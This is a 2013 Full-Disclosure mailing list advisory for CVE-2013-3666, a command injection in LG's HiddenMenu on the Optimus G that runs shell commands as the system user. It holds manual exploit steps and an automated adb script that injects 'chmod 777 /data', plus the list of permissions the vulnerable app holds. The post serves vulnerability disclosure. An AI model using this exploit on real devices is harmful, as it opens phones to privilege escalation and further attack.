CVE-2013-3666 - LG Optimus G command injection (as system user) vulnerability

[Justin Case <jcase () cunninglogic com>]

Device: LG Optimus G E973 (Others affected)
Firmware: Android 4.1.2 JZO54k (Others affected)
Evidence: http://youtu.be/ZfbDIpTY-t4

A vulnerability in LG's "HiddenMenu" allows you to execute shell commands
as the system, with a large array of additional permissions (Groups). This
vulnerability opens up the device to further attacks. Due to the large
number of models sharing similar firmware, I have no idea how many devices
are affected.


Details:

Dial: 3845#*XXX# ( XXX to be replaced with model number, in this case
3845#*973#)

HiddenMenu will open, select WLAN Test, then select Wi-Fi Ping Test/User
Command, then select User Command.

Replace the tcpdump command with the command you wish to run as system
user

Then press cancel (not ok). The application will execute the command as
system user.


Automated version (chmod 777 /data):
#!/bin/sh
    adb shell ls -l /data
    adb shell input tap 45 1200
    adb shell input tap 700 500
    adb shell input tap 350 800
    adb shell input tap 35 700
    adb shell input tap 350 700
    adb shell input tap 700 1000
    adb shell input tap 35 1000
    adb shell input tap 700 800
    adb shell input tap 35 800
    adb shell input tap 700 500
    adb shell input tap 700 1000
    adb shell input tap 700 900
    adb shell input tap 700 900
    adb shell input tap 700 300
    max=46
    count=1
    while [[ $count -le $max ]]
    do
        adb shell input keyevent 67
        ((count++))
    done
    adb shell input text chmod
    adb shell input keyevent 62
    adb shell input text 777
    adb shell input keyevent 62
    adb shell input text "/data"
    adb shell input tap 600 600
    adb shell ls -l /data


Additional permissions granted to vulnerable application:
"android.permission.REBOOT"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"android.permission.DEVICE_POWER"
"android.permission.WRITE_SETTINGS"
"android.permission.READ_SETTINGS"
"android.permission.READ_CONTACTS"
"android.permission.WRITE_CONTACTS"
"android.permission.HARDWARE_TEST"
"android.permission.VIBRATE"
"android.permission.WRITE_APN_SETTINGS"
"android.permission.ACCESS_WIFI_STATE"
"android.permission.CHANGE_WIFI_STATE"
"android.permission.FLASHLIGHT"
"android.permission.READ_ERS"
"android.permission.WRITE_ERS"
"android.permission.MASTER_CLEAR"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.ACCESS_COARSE_LOCATION"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
"android.permission.INTERNET"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"com.lge.permission.LGSystemDB_READ"
"com.lge.permission.LGSystemDB_WRITE"
"android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
"android.permission.ACCESS_LGDRM"
"android.permission.DISABLE_KEYGUARD"
"android.permission.CAMERA"
"android.permission.WAKE_LOCK"
"android.permission.WRITE_SETTINGS"
"android.permission.VIBRATE"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.CAMERA"
"android.permission.RECORD_AUDIO"
"android.permission.DISABLE_KEYGUARD"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.WRITE_SETTINGS"
"android.permission.WAKE_LOCK"
"android.permission.SET_TIME"
"com.android.providers.syncml.permission.READ_SYNCML_PROFILE"
"com.android.providers.syncml.permission.WRITE_SYNCML_PROFILE"
"com.lge.permission.FACTORY"
"com.lge.permission.ACCESS_LGFOTA"
"android.permission.ACCESS_CACHE_FILESYSTEM"
"com.lge.permission.WV_PROVISION"
"com.lge.permission.PR_PROVISION"
"android.permission.READ_EXTERNAL_STORAGE"
"android.permission.CHANGE_NETWORK_STATE"
"com.lge.permission.LGHIDDEN"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/